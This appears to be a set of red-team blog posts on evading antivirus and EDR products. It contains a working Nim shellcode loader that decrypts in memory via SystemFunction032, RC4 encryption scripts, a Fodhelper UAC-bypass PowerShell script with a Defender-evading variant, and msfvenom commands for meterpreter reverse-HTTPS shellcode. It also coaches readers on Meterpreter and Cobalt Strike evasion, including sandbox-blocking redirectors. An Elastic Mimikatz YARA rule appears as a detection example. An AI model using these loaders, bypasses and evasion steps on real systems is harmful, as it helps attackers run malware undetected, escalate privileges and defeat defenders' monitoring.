As mentioned in the last chapter already, the published Proof of Concept will spawn a new Powershell in suspended mode, write the Shellcode into that suspended process and place the hook and afterwards resume it. But as its a Proof of Concept, it will only block/prevent amsi.dll from being loaded effectively also leading to an AMSI bypass. If you want to block EDR DLLs, you have to modify my HookForward Code to do so, homework for the reader is always good for leaning purposes.

When I did test the technique against different EDR vendors some months ago (before publicly releasing it), it was neither alerted or prevented by any of them. In one specific case an vendor was injecting an DLL instead of loading it the regular way - if this is the case my PoC cannot block it. In another test, one specific DLL out of five different from that vendor did lead to process crashes when blocking it - luckily it was not the one placing hooks. So in any case, the PoC may need modifications per vendor or being adjusted depending on some special cases.

The final PoC can be found here:

• https://github.com/S3cur3Th1sSh1t/Ruy-Lopez

Is that OPSec Safe?

Well. Using Injection and hooking in general has well documented easy to spot Indicators of Compromise (IoCs) in any case. So if a Blue Team or Hunter/Analyst reviews the processes being involved, it will be easy to spot this IoCs and find out something malicious happened. However, till now I didnt face automated detections alerting on or preventing this technique. EDR vendors could for example also integrate checks, that if a suspended process was resumed and if some ntdll.dll function was hooked at that point kill the process. I guess, there are very few or maybe even no false positives at all for such a situation.

OPSec improvements

The first PoC was using Win32 APIs for Injection and for placing the hook. I changed this already to direct Syscalls after giving the Troopers talk. Whats left?

The Shellcoe itself needs to have RWX permissions in the published version, due to doing some self modifications. But this is not nessesarily needed and relatively easy to adjust, I placed some comments into the code on what to change for the ones interested. By modifying it, you can also use RX permissions.

Instead of using plain DLL-names to block (they appear as string in the shellcode itself), you could use Hashing and compare against that to avoid signature based detections for the Shellcode.

To get rid of hooking based IoCs, you could use Hardware Breakpoints instead.

Alternative usage ideas

• Blocking wldp.dll to bypass Device Guard / trust checks
• Block custom AMSI Provider DLLs
• Inject/Execute shellcode ThreadlessInject style in the new process. The cool thing here is, our Shellcode is always automatically executed after resuming the process when any DLL is loaded but also for process initialization at least once. So we never need an execute primitive here or place a hook as ThreadlessInject does, but instead we could just decrypt embedded Shellcode and execute that.

Credits

Some people helped me out on my way. Have to give some Credits.

• Ceri Coburn @EthicalChaos - Q/A all over the way
• Sven Rath @eversinc33 - Inspired me to actually start writing the PoC instead of just having this in mind only
• Alejandro Pinna @frodosobon - The initial Blogpost my technique relies on
• Charles Hamilton @MrUn1k0d3r - Q/A for writing PIC-Code
• Chetan Nayak @NinjaParanoid - Q/A for writing PIC-Code

Links & Resources

• Hellsgate https://github.com/am0nsec/HellsGate
• RecycledGate https://github.com/thefLink/RecycledGate
• DInvoke https://github.com/TheWover/DInvoke
• Syswhispers https://github.com/jthuraisamy/SysWhispers
• Syswhispers2 https://github.com/jthuraisamy/SysWhispers2
• Syswhispers3 https://github.com/klezVirus/SysWhispers3
• TamperingSyscalls https://github.com/rad9800/TamperingSyscalls
• SharpBlock Blog post https://ethicalchaos.dev/2020/06/14/lets-create-an-edr-and-bypass-it-part-2/
• Chess White player idea https://bruteratel.com/release/2022/08/18/Release-Scandinavian-Defense/
• HandleKatz https://github.com/codewhitesec/HandleKatz

SystemFunction032??

I did not know about this function before digging into Sleep obfuscation techniques like Foliage or Ekko. Although Benjamin Delphi already wrote about it in 2013 and used it in Mimikatz.

So this function is able to encrypt/decrypt memory regions via RC4 encryption. As for example the ReactOS Code shows it takes a pointer to an RC4_Context structure as input as well as a pointer to the encryption key:

“Why the heck do you see something special in that?” you could ask. Well, at least I personally did not know about alternative functions for existing memory region encryption/decryption except for XOR operations. But as you can read in for example Kyle Avery’s blog about Avoiding Memory Scanners a simple XOR even with a longer key got in the meanwhile to detect for AV/EDR vendors.

Although RC4 is considered as insecure and even broken for years it provides a much better memory evasion for e.G. Shellcode to us than simple XOR. It would be even more OpSec save to use AES here instead. But one single Windows API is at least very easy to use.

The midnight idea

Typically if you want to execute Shellcode in a process you will need the following steps:

1. Open a Handle to the Process
2. Allocate Memory in that Process with RW/RX or RWX permissions
3. Write the Shellcode into that region
4. (Optional) change Permissions to RX from RW for execution
5. Execute the Shellcode as Thread/APC/Callback/whatever

To avoid signature based detections we could encrypt our Shellcode and decrypt that on runtime before execution. For e.g. AES decryption the flow would typically look like this:

1. Open a Handle to the Process
2. Allocate Memory in that Process with RW/RX or RWX permissions
3. Decrypt the Shellcode, so that we can write the cleartext value into memory
4. Write the Shellcode into the allocated region
5. (Optional) change Permissions to RX from RW for execution
6. Execute the Shellcode as Thread/APC/Callback/whatever

In this case, the Shellcode itself could get detected when writing it into memory e.g. by userland hooks as we would need to pass a pointer of the cleartext Shellcode to WriteProcessMemory or NtWriteVirtualMemory.

The usage of XOR could avoid that, because we can even XOR decrypt the memory region after writing the encrypted value into memory. It would look like this:

1. Open a Handle to the Process
2. Allocate Memory in that Process with RW/RX or RWX permissions
3. Write the Shellcode into the allocated region
4. XOR decrypt the Shellcode memory region
5. (Optional) change Permissions to RX from RW for execution
6. Execute the Shellcode as Thread/APC/Callback/whatever

But XOR can easily be detected. So we don’t want to use that. You already got the idea?

As an alternative we could make use of SystemFunction032 to decrypt the Shellcode after writing it into memory. So let’s do that!

The PoC

First I had the idea of generating Shellcode and just RC4 encrypt it with OpenSSL. So my idea was to generate it as follows:

msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
cat calc.bin | openssl enc -rc4 -nosalt -k "aaaaaaaaaaaaaaaa" > enccalc.bin

But later on - when debugging - it turned out, that SystemFunction032 somehow encrypts/decrypts different to OpenSSL/RC4. So we cannot do it like that.

09.11.2022: Update

an0n_r0 gave further information on how to do the encryption with OpenSSL. You can do it as follows:

openssl enc -rc4 -in calc.bin -K `echo -n 'aaaaaaaaaaaaaaaa' | xxd -p` -nosalt > enccalc.bin

We could also use the following Nim Code to get an encrypted Shellcode blob (Windows OS only):

import winim
import winim/lean

# msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
const encstring = slurp"calc.bin"

func toByteSeq*(str: string): seq[byte] {.inline.} =
  ## Converts a string to the corresponding byte sequence.
  @(str.toOpenArrayByte(0, str.high))

proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS 
  {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}

  
# This is the mentioned RC4 struct
type
    USTRING* = object
        Length*: DWORD
        MaximumLength*: DWORD
        Buffer*: PVOID

var keyString: USTRING
var imgString: USTRING

# Our encryption Key
var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']

keyString.Buffer = cast[PVOID](&keyBuf)
keyString.Length = 16
keyString.MaximumLength = 16

var shellcode = toByteSeq(encstring)
var size  = len(shellcode)


# We need to still get the Shellcode to memory to encrypt it with SystemFunction032
let tProcess = GetCurrentProcessId()
echo "Current Process ID: ", tProcess
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
echo "Process Handle: ", repr(pHandle)
let rPtr = VirtualAllocEx(
    pHandle,
    NULL,
    cast[SIZE_T](size),
    MEM_COMMIT,
    PAGE_READ_WRITE
)

copyMem(rPtr, addr shellcode[0], size)

# Fill the RC4 struct
imgString.Buffer = rPtr
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)

# Call SystemFunction032
SystemFunction032(&imgString, &keyString)

copyMem(addr shellcode[0],rPtr ,size)

echo "Writing encrypted shellcode to dec.bin"

writeFile("enc.bin", shellcode)
# enc.bin contains our encrypted Shellcode

09.11.2022: Update

snovvcrash also published a simple Python Script after this blog which simplifies the encryption with a Python Script:

#!/usr/bin/env python3

from typing import Iterator
from base64 import b64encode


# Stolen from: https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071
def key_scheduling(key: bytes) -> list:
	sched = [i for i in range(0, 256)]

	i = 0
	for j in range(0, 256):
		i = (i + sched[j] + key[j % len(key)]) % 256
		tmp = sched[j]
		sched[j] = sched[i]
		sched[i] = tmp

	return sched


def stream_generation(sched: list[int]) -> Iterator[bytes]:
	i, j = 0, 0
	while True:
		i = (1 + i) % 256
		j = (sched[i] + j) % 256
		tmp = sched[j]
		sched[j] = sched[i]
		sched[i] = tmp
		yield sched[(sched[i] + sched[j]) % 256]        


def encrypt(plaintext: bytes, key: bytes) -> bytes:
	sched = key_scheduling(key)
	key_stream = stream_generation(sched)
	
	ciphertext = b''
	for char in plaintext:
		enc = char ^ next(key_stream)
		ciphertext += bytes([enc])
		
	return ciphertext


if __name__ == '__main__':
	# msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
	with open('calc.bin', 'rb') as f:
		result = encrypt(plaintext=f.read(), key=b'aaaaaaaaaaaaaaaa')

	print(b64encode(result).decode())

To execute this, we could simply use the following Nim code:

import winim
import winim/lean

# (OPTIONAL) do some Environmental Keying stuff

# Encrypted with the previous code
# Embed the encrypted Shellcode on compile time as string
const encstring = slurp"enc.bin"

func toByteSeq*(str: string): seq[byte] {.inline.} =
  ## Converts a string to the corresponding byte sequence.
  @(str.toOpenArrayByte(0, str.high))

proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS 
  {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}

type
    USTRING* = object
        Length*: DWORD
        MaximumLength*: DWORD
        Buffer*: PVOID

var keyString: USTRING
var imgString: USTRING

# Same Key
var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']

keyString.Buffer = cast[PVOID](&keyBuf)
keyString.Length = 16
keyString.MaximumLength = 16

var shellcode = toByteSeq(encstring)
var size  = len(shellcode)

let tProcess = GetCurrentProcessId()
echo "Current Process ID: ", tProcess
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)

let rPtr = VirtualAllocEx(
    pHandle,
    NULL,
    cast[SIZE_T](size),
    MEM_COMMIT,
    PAGE_EXECUTE_READ_WRITE
)

copyMem(rPtr, addr shellcode[0], size)

imgString.Buffer = rPtr
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)

# Decrypt memory region with SystemFunction032
SystemFunction032(&imgString, &keyString)

# (OPTIONAL) we could Sleep here with a custom Sleep function to avoid memory Scans

# Directly call the Shellcode instead of using a Thread/APC/Callback/whatever

let f = cast[proc(){.nimcall.}](rPtr)
f()

At least Defender does not complain here:

By using that we can nearly ignore userland hooks because our cleartext Shellcode is never passed to any function (Only SystemFunction032 itself). Of course, all those vendors could detect us by hooking Advapi32/SystemFunction032 - I did ask this question into the InfoSec community regarding to Sleep obfuscation detection some time ago.

But:

1. There seam to be some privacy reasons why vendors can’t easily hook it, because they would get too many sensitive informations out of legitimate Processes.
2. There are many alternatives to SystemFunction032, just read the Benjamin Delphi article linked above or take a look at the ReactOS code.
3. We could also unhook the function before using it.

At the moment at least vendors seam to not hook it. I personally guess this will change in the future.

Homework for the interested

Another idea was even better from my mind. By using PIC-Code we could also skip all other Win32 functions which were used in my PoC. Because when writing PIC-Code, all code is contained in the .text section, and this section typically has RX permissions by default, which is enough many times. So we would not need to change memory permissions and we don’t need to write the Shellcode to memory.

It would just be as short as follows:

1. Call SystemFunction032 to decrypt the Shellcode
2. Directly call it

Sample Code for PIC-Code can for example be found here. For the Nim-Fans, one library was released ~2 weeks ago which also enables us to relatively easy write PIC-Code called Bitmancer.

Is a program, that just calls SystemFunction032 potentially malicious? :-) Or one, that just calls any other encryption/decryption function?

Links & Resources

• Foliage https://github.com/SecIdiot/FOLIAGE
• Ekko https://github.com/Cracked5pider/Ekko
• Avoiding Memory Scanners blog https://www.blackhillsinfosec.com/avoiding-memory-scanners/
• SystemFunction032 Benjamin Delphi Post https://blog.gentilkiwi.com/tag/systemfunction032
• ReactOS Code SystemFunction032 https://doxygen.reactos.org/df/d13/sysfunc_8c.html#a66d55017b8625d505bd6c5707bdb9725
• PIC Hello World code https://github.com/thefLink/C-To-Shellcode-Examples/blob/master/HelloWorld/HelloWorld.c
• Bitmancer Library https://github.com/zimawhit3/Bitmancer

After publishing my Packer, more and more people asked me about why for example MSF- or CobaltStrike- (CS)-Payloads were still detected. Well, in the very first place the easy answer is, that there is:

• A signature-based Detection, which was bypassed
• A behaviour-based Detection, which was triggered and killed the Process.

There are multiple Detection-techniques, which a Packer can bypass and there are others, which technically cannot get bypassed. Writing a blog post about this topic is at least for me the easiest way to answer this, as in the future I can just send one link for these kind of questions. ;-)

Using my private Packer will result in an antiScan.me result like this for MSF-Packed Payloads:

But this does not mean, the Payload will not get detected from those AV-Vendors when executed on Runtime. Why? Keep reading.

Signature-based Detections

Signature-based Detections are very simple. The very first AV solutions had a signature database with File-Hashes and they just compared the Hash of any executable on disk with the known malicious executable softwares Hash. E.g. this database contained the SHA1/MD5 Hash of the release binary for Mimikatz. Changing the Hash of an executable is as simple as manipulating a single byte in it, so this Detection is not really reliable and at least I hope not commonly used anymore anyway in 2022.

Because of the fact, that this is not reliable vendors moved to detecting specific byte pattern signatures as alternative. So to stay with the example of Mimikatz specific byte patterns/hex values are flagged like:

73 00 65 00 6B 00 75 00 72 00 6C 00 73 00 61 00 5F 00 6D 00 69 00 6E 00 69 00 64 00 75 00 6D 00 70
--> HEX values for s.e.k.u.r.l.s.a._.m.i.n.i.d.u.m.p

It just makes sense here to not only flag one pattern per known malicious binary/payload but to use multiple common patterns. Mimikatz is always a good example for signature-based Detections as typically vendors have dozens of patterns for Mimikatz binary Detections. By doing is this way, they make sure, that also slightly modified versions get detected.

Even more advanced Detections can be build with yara rules. These rules can either Scan files or Memory contents and allow much more complex conditions and combinations of different patterns. An example Mimikatz yara rule looks like this:

Elastic Mimikatz Yara rule

rule Windows_Hacktool_Mimikatz_1388212a {
    meta:
        author = "Elastic Security"
        id = "1388212a-2146-4565-b93d-4555a110364f"
        fingerprint = "dbbdc492c07e3b95d677044751ee4365ec39244e300db9047ac224029dfe6ab7"
        creation_date = "2021-04-13"
        last_modified = "2021-08-23"
        threat_name = "Windows.Hacktool.Mimikatz"
        reference_sample = "66b4a0681cae02c302a9b6f1d611ac2df8c519d6024abdb506b4b166b93f636a"
        severity = 100
        arch_context = "x86"
        Scan_context = "file, Memory"
        license = "Elastic License v2"
        os = "windows"
    strings:
        $a1 = "   Password: %s" wide fullword
        $a2 = "  * Session Key   : 0x%08x - %s" wide fullword
        $a3 = "   * Injecting ticket : " wide fullword
        $a4 = " ## / \\ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )" wide fullword
        $a5 = "Remove mimikatz driver (mimidrv)" wide fullword
        $a6 = "mimikatz(commandline) # %s" wide fullword
        $a7 = "  Password: %s" wide fullword
        $a8 = " - SCardControl(FEATURE_CCID_ESC_COMMAND)" wide fullword
        $a9 = " * to 0 will take all 'cmd' and 'mimikatz' Process" wide fullword
        $a10 = "** Pass The Ticket **" wide fullword
        $a11 = "-> Ticket : %s" wide fullword
        $a12 = "Busylight Lync model (with bootloader)" wide fullword
        $a13 = "mimikatz.log" wide fullword
        $a14 = "Log mimikatz input/output to file" wide fullword
        $a15 = "ERROR kuhl_m_dpapi_masterkey ; kull_m_dpapi_unprotect_domainkey_with_key" wide fullword
        $a16 = "ERROR kuhl_m_lsadump_dcshadow ; unable to start the server: %08x" wide fullword
        $a17 = "ERROR kuhl_m_sekurlsa_pth ; GetTokenInformation (0x%08x)" wide fullword
        $a18 = "ERROR mimikatz_doLocal ; \"%s\" module not found !" wide fullword
        $a19 = "Install and/or start mimikatz driver (mimidrv)" wide fullword
        $a20 = "Target: %hhu (0x%02x - %s)" wide fullword
        $a21 = "mimikatz Ho, hey! I'm a DC :)" wide fullword
        $a22 = "mimikatz service (mimikatzsvc)" wide fullword
        $a23 = "[masterkey] with DPAPI_SYSTEM (machine, then user): " wide fullword
        $a24 = "$http://blog.gentilkiwi.com/mimikatz 0" ascii fullword
        $a25 = " * Username : %wZ" wide fullword
    condition:
        3 of ($a*)
}

So in this case if three of the mentioned strings are found either in a file or in Memory this rule will trigger and the AV/EDR Software can do an action like alerting or killing the Process. Detections like this can for example bypassed with the technique I described in my Building a custom Mimikatz binary blog post.

The inner workings of a Packer

It is important to understand how a Packer basically works to get an idea of what it can do and what is not possible. In the very end, it is about a Software, which wraps a Payload into another Program to avoid signature-based Detections for it. So if a Payload like Mimikatz contained specific Strings, these Strings will not be visible anymore in the resulting Binary. The wrapping Process can be done with either some encoding/obfuscation or with encryption. I’m personally preferring to encrypt the Payload, as this will result in the best randomness - and therefore least signature-based Detections.

This encoded or encrypted Payload has to be decoded/decrypted in the resulting Loader-Program, so that the cleartext Payload can get executed from Memory.

Depending on the Payload, it is possible for a Packer to also get rid of more Detections in the current or remote Process:

1. If your Packer is Patching/bypassing AMSI, you can safely execute different known malicious Scripts (PS1,VBA,JS and so on) or C# assemblies from Memory.
2. To get rid of ETW based Detections, a Packer can also Patch/bypass ETW via different published techniques.
3. Hooking based Detections for Win32 APIs can be bypassed with e.G. unhooking or direct/indirect Syscall usage.
4. Entropy based Detections will detect many Packers, as encryption of a Payload will lead to a very high entropy due to the randomness. This can be bypassed for example by adding thousands of words into the resulting Binary, as this decreases the entropy again.

My private Packer also makes use of all of these things mentioned.

But even if all these techniques are applied, there are more potential “problems” left:

1. Memory Scans
2. Behavioural Detections
3. Threat Hunters / Blue Team

In general it is possible to also bypass Memory Scans with a Packer, but this is very limited as you will see later on.

Memory Scans and general bypass techniques

As signature-based Detections can easily get bypassed with the Packer technique, more and more AV/EDR vendors tend to also do Memory Analysis with Scans. These Scans are typically not done all the time over all Processes, as this would be too resource-consuming, but can be triggered by specific conditions.

A Memory Scan for example typically appears in the following situations:

• A new Process is spawned, e.G. running an executable
• The behaviour of a Process triggers a Memory Scan

The first one is trivial to bypass. Even a Packer can for example just sleep a given time before decoding/decrypting the real Payload. In that case, the Memory Scan will take place but won’t find anything, as the Payload is still encrypted. There are ways to still detect Win32 Sleep based Memory Scan bypasses, for example demonstrated here. As an alternative to using Sleep you could therefore also execute pseudo-code for a specific amount of time or do calculations. There are many alternatives to using Sleep.

But in general, there are different approaches to bypass Memory Scans:

• Changing/modifying the source code of your Payload to avoid signature-based Detections
• Changing the behaviour of your Payload, so that the Memory Scan will never trigger at all
• Memory encryption

I personally prefer the first option, it’s one time effort per Software and as long as the new code base is not made public, it should also not get detected in the future.

Bypassing behavior-based Memory Scans is harder depending on what your Payload is doing. Just imagine the behaviour of Mimikatz (for example opening up a Handle to LSASS with OpenProcess) triggers a Scan - in this moment there is no way to hide Mimikatz from Memory as it needs to be unencrypted to do it’s work. So Memory encryption will not be an option for Mimikatz. And don’t get my wrong, I would not recommend to use Mimikatz for LSASS dumping in 2022 anyway as mentioned here. It’s just a good example to understand it.

For well known C2-Frameworks like Cobalt Strike the most common option is Memory encryption. But if you don’t have access to source code, it’s not possible anyway to modify that to avoid Memory Detections. ¯\_(ツ)_/¯ C2-Frameworks in general are a good candidate for this technique, as they Sleep most of the time. And if a program doesn’t do anything, it’s Memory content can get encrypted in that time-frame without any problems.

Behaviour-based Detections - some examples and bypasses

But which behaviours could trigger an AV/EDR action or a Memory Scan on runtime? This can basically be everything. Writing stuff into Memory, loading specific libraries in a specific order and/or time-frame, creating registry entries, do initial HTTP requests or any other action.

I’ll give some few examples here with corresponding bypass techniques for Defender.

From my personal experience the least common action an AV/EDR does after detecting a specific behaviour is instantly killing the Process. Why is that? Well, AV/EDR vendors don’t want to have too many false positive findings. As false positive findings with the action of killing a Process can lead to disruptions in production environments which is really bad. So they need to be nearly 100% sure, that a behaviour is definitely Malware to kill the corresponding Process. This is also the reason, why many vendors combine the Detection of a behaviour with a Memory Scan afterwards to verify they found something Malicious.

Fodhelper UAC Bypass example

One good example for a behaviour-based Detection, which leads to an AV action is the Fodhelper UAC bypass with Windows Defender. This one is really well known, but also very easy to exploit, as it’s just about creating a Registry Entry and calling fodhelper.exe afterwards:

<#
.SYNOPSIS  
    This script can bypass User Access Control (UAC) via fodhelper.exe
　
    It creates a new registry structure in: "HKCU:\Software\Classes\ms-settings\" to perform UAC bypass and starts 
    an elevated command prompt. 
    　
.NOTES  
    Function   : FodhelperUACBypass
    File Name  : FodhelperUACBypass.ps1 
    Author     : netbiosX. - pentestlab.blog 
　
.LINKS          
    https://gist.github.com/netbiosX/a114f8822eb20b115e33db55deee6692
    https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/    
　
.EXAMPLE  
　
     Load "cmd /c start C:\Windows\System32\cmd.exe" (it's default):
     FodhelperUACBypass 
　
     Load specific application:
     FodhelperUACBypass -Program "cmd.exe"
     FodhelperUACBypass -Program "cmd.exe /c powershell.exe"　
#>

function FodhelperUACBypass(){ 
 Param (
           
        [String]$Program = "cmd /c start C:\Windows\System32\cmd.exe" #default
       )
　
    #Create Registry Structure
    New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $Program -Force
　
    #Start fodhelper.exe
    Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
　
    #Cleanup
    Start-Sleep 3
    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
　
}

This code snipped was taken from here

Executing this with Defender enabled will lead to the following Detection:

This alert neither kills the executing nor the newly spawned Process, but can still lead to Detections in any engagement. The Detection itself cannot be bypassed with an AMSI bypass and Patching ETW also doesn’t help. Because it’s a specific behaviour triggering this Alert.

I did some light Analysis with trial and error about what specifically is flagged here and found out, that Defender does not like any .exe in the HKCU:\Software\Classes\ms-settings\Shell\Open\command(Default) entry as well as the Directories *C:\windows\system32* and *C:\windows\syswow64*.

So the behaviour, which triggers an Alert is creating a Registry Entry in the mentioned Directory with one of the Strings.

Luckily for us, we don’t need to specify .exe to execute a Binary and also both Directories are not necessarily needed for exploitation. So as an alternative, we could just copy e.G. a C2-Stager into any writable Directory and execute it with the UAC-Bypass without calling the extension.

FodhelperUACBypass -Program C:\temp\stager # Real filename is stager.exe but this would trigger an alert.

But in 2022, many OffSec People will have gotten aware of the fact, that running any unsigned executables on a system with AV/EDR installed might not be a very good idea. So as an alternative we could also execute any signed trusted executable and drop a corresponding Sideloading-DLL into the same directory. Third option: we can copy rundll32.exe into our writable Directory and execute it from there:

function FodhelperUACBypass(){ 
 Param (
           
        [String]$run = "C:\temp\peng C:\temp\calc.dll,NimMain" #NimMain only for Nim Dlls ;-)
       )
    # Copy C:\windows\system32\rundll32.exe to C:\temp\Peng.exe
    copy C:\windows\system32\rundll32.exe C:\temp\Peng.exe
    #Create Registry Structure
    New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $run -Force
    #Start fodhelper.exe
    Start-Process "C:\Windows\System32\fodhelper.exe"
    #Cleanup
    Start-Sleep 3
    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
}

Meterpreter behaviour-based Detections

As many people also asked me about why their MSF-Payloads still get flagged, I decided to also show some (nothing new, everything already published somewhere) background information about that.

First things first: Don’t use staged Payloads, they will always get caught at least by Defender and I don’t plan to modify the source Code of Meterpreter in this post. ;-)

So in our case we’ll generate stageless reverse-HTTPS Shellcode for execution. This can be done for example with the following command:

msfvenom -p windows/x64/meterpreter_reverse_https LHOST=(IP Address) LPORT=(Your Port) -f raw > Shellcode.bin

I will not cover the stealth way of executing this Shellcode here, as I want to show the behavioural Detection but in general you’ll need the following:

1. Encrypt the Shellcode and decrypt it on runtime to avoid signatures on disk or as alternative load it from a remote Web-Server on runtime
2. Use direct or indirect Syscalls for execution, otherwise the Shellcode will get flagged before execution

No need for Patching AMSI/ETW to get Meterpreter running in this case.

But even if you were bypassing the signature-based Detection on disk and the Shellcode Detection with Syscalls, you should be able to see one new Meterpreter Session incoming:

But this just means, that our initial Payload was executed successfully. One second later, the Process is killed and the following Detection appears:

And again, this is a behaviour-based Detection, which is triggered by additional DLL files, loaded via plain Win32 APIs and reflective DLL-Injection technique. In this case, the Injection of the stdapi-DLL triggered an Alert.

In the msfconsole prompt, you can pass the following command to disable loading of the stdapi DLL:

set autoloadstdapi false

After doing that, you should be pretty fine getting your Meterpreter Session incoming:

Disabling stdapi loading will, however lead to you having nearly no commands/modules in your Meterpreter-Session and only the “Core Commands” will be available.

After waiting some minutes, you can load stdapi manually with the following command and there should be still no Detection:

What is this behaviour-based Detection about? I cannot tell 100% for sure, but it’s most likely the combination of:

• A newly spawned Process
• Timeframe x for the new Process till specific Windows APIs for reflective loading of a DLL are called
• A Memory Scan, to verify malicious content
• Detection of Meterpreter in Memory and the action of killing the Process

Note: This is only ONE possible way to bypass Defenders Meterpreter behaviour-based Detection. And I’m assuming, that the Microsoft Defender Team will add additional checks after the publication of this post, as this happened for some other of my Videos or Posts. So at some point you’ll need to dig into alternatives yourself. My primary goal is not to explain how to get Meterpreter to work, but to give you an understanding about what happens.

As already mentioned in this post above, one general way to bypass Memory Scans is modification of the source code to avoid signatures in Memory. As this behaviour-based Detection - like many other C2-Payload Detections - is verified by a Memory Scan, it’s another option here to modify the source code. One automated approach for Meterpreter source code obfuscation was published in this blog post. We did go that route at work - with additional manual modifications - and were able to avoid this Detection with autostdapi-Loading enabled. If you want to do that, be prepared to spend some days with the Meterpreter Code base.

The third way - Memory encryption - it not that easy to accomplish for Meterpreter, as the HTTP/HTTPS source code does not function like many other C2-Frameworks in terms of Sleeping for time-frame x before asking for commands. It’s just about throwing out many HTTP(S) requests with small delays in between. So Memory Encryption would disrupt this Process. If you want to go this route, you would therefore need to integrate a custom Sleep-function with Memory encryption in the source code yourself.

Cobalt Strike Detections and my personal Journey with them

Cobalt Strike is most likely the most sigged and most in depth analysed C2-Framework out there. This is most likely due to the fact, that it was ab(used) by many different threat-actors in the wild for the last years. Not changing default settings will not be usable in the most environments, as this will instantly get detected.

Even using a custom Packer/Loader with Syscalls for the Shellcode execution will in many environments still fail. So I’m going to explain at least the very minimum requirements and modifications you will need to do as operator when using this Framework. I’m not a Cobalt Strike professional user in any way, it’s just one year of experience with it - reading all of the documentations and trying out different tools/setups. So I might miss some things, that more experienced Operators are using.

C2-Server/Infrastructure minimum requirements:

1. Disable staging in the Malleable profile - if it’s enabled your Implant will get burned almost instantly, as there are many Internet wide automated Scanners which download the second stage to analyze and share it.
2. You have to use a custom Malleable C2-Profile with many different important evasion settings to get rid of at least some Detections. I had good experience with SourcePoint generated Profiles myself.
3. It’s nessesary to use a redirector in front of the C2-Server. This redirector should drop/block known Sandbox analysis IP-ranges and only allow and redirect those requests, that comply with the Malleable C2 profile. Good example tools to automate this Process are RedWarden or RedGuard. Not using this technique will likely lead to your implant getting burned. Fingerprinting and Detection of the Cobalt Strike server after the first Connection as mentioned for example in this MDSec blog post can also be avoided with it.

Implant minimum requirements:

1. Use Encryption/Obfuscation and Runtime-Decryption/De-obfuscation to Pack the Shellcode. If you don’t do that, your Loader will get flagged by Signature on disk or in Memory (depending on how you load it)
2. Use direct or indirect Syscalls to execute CS-Shellcode or to load the artifact from Memory. Not doing that will lead to instant Detections in most environments, as the Shellcode always has the same IoCs and will get detected by AV/EDR hooks very easy.
3. Use environmental keying to bypass potential Sandbox- or automated EDR Cloud-Submission-Analysis.
4. You have to modify the default Sleep mask template in Cobalt Strike via the Arsenal Kit. If enabled in the Malleable C2-Profile, the Beacon will encrypt both Heap and Stack Memory to hide itself from Memory Scanners after successful execution. But as this default Sleep mask source Code itself is also heavily targeted by AV/EDR signatures and will therefore also get flagged by Memory Scanners. You should not use any unmodified public Github Sleep encryption code for that, as this will also get flagged.

All of these points (except the Sleep Mask modifications) can be done either by a completely custom Packer/Loader or with the Arsenal Kit, which already provides a lot of template code to start with. If you’re planning to use the Arsenal Kit you have to get familiar with C/C++ and do heavy customizations to the template code to get rid of Detections (That’s at least what other people in the community told me, which went this route). I personally always used raw-Shellcode output and my own private custom Packer/Loader to implement the things mentioned above.

The Sleep Mask modifications also apply to raw-Shellcode output, so you’re even fine modifying that in the Arsenal Kit when using your own custom Loader. I got CS running against Defender with the mentioned modifications, however, Defender for Endpoint did still did detect many behaviours in my testings.

Note: Even if you applied all of the mentioned requirements, your implant can still get detected in mature environments. Depending on which EDR is used in your target environment, it’s just not enough. There are still some problems left:

1. Don’t think you won, if you got an incoming Beacon connection. In many environments I was able to get a Beacon to run, but after issuing a single command/module the implant was instantly detected and killed. As I said, CS is most probably the most sigged Framework out there, take a look at for example these yara rules and you will see, that vendors did implement Detection rules for nearly every command/module. These behaviour-based detections made me personally using Cobalt Strike only to initiate a reverse Socks Connection and nothing more to avoid local system IoCs and do everything over the network via socks. So in many of my projects Cobalt Strike more or less became a standalone socks5 reverse proxy software.
2. There might be a Blue Team and/or Threat hunters in your target environment. Even simple IoCs can lead to a manual analysis/review. In that case you will need to be aware of many more deeper evasion techniques. For automated AV/EDR analysis, a simple Memory encryption might be fine, but in this case you will need to avoid many more IoC’s like RWX/RX Memory permissions, you cannot use Win32 Sleep as that’s easy to detect and many more things to mention. Take a look at this post and the linked references/tools to get an idea about the topic.
3. In some environments my Beacon/Process was even detected before calling back. I cannot tell what these Detections were about and I had no clue about how to bypass them to be honest.

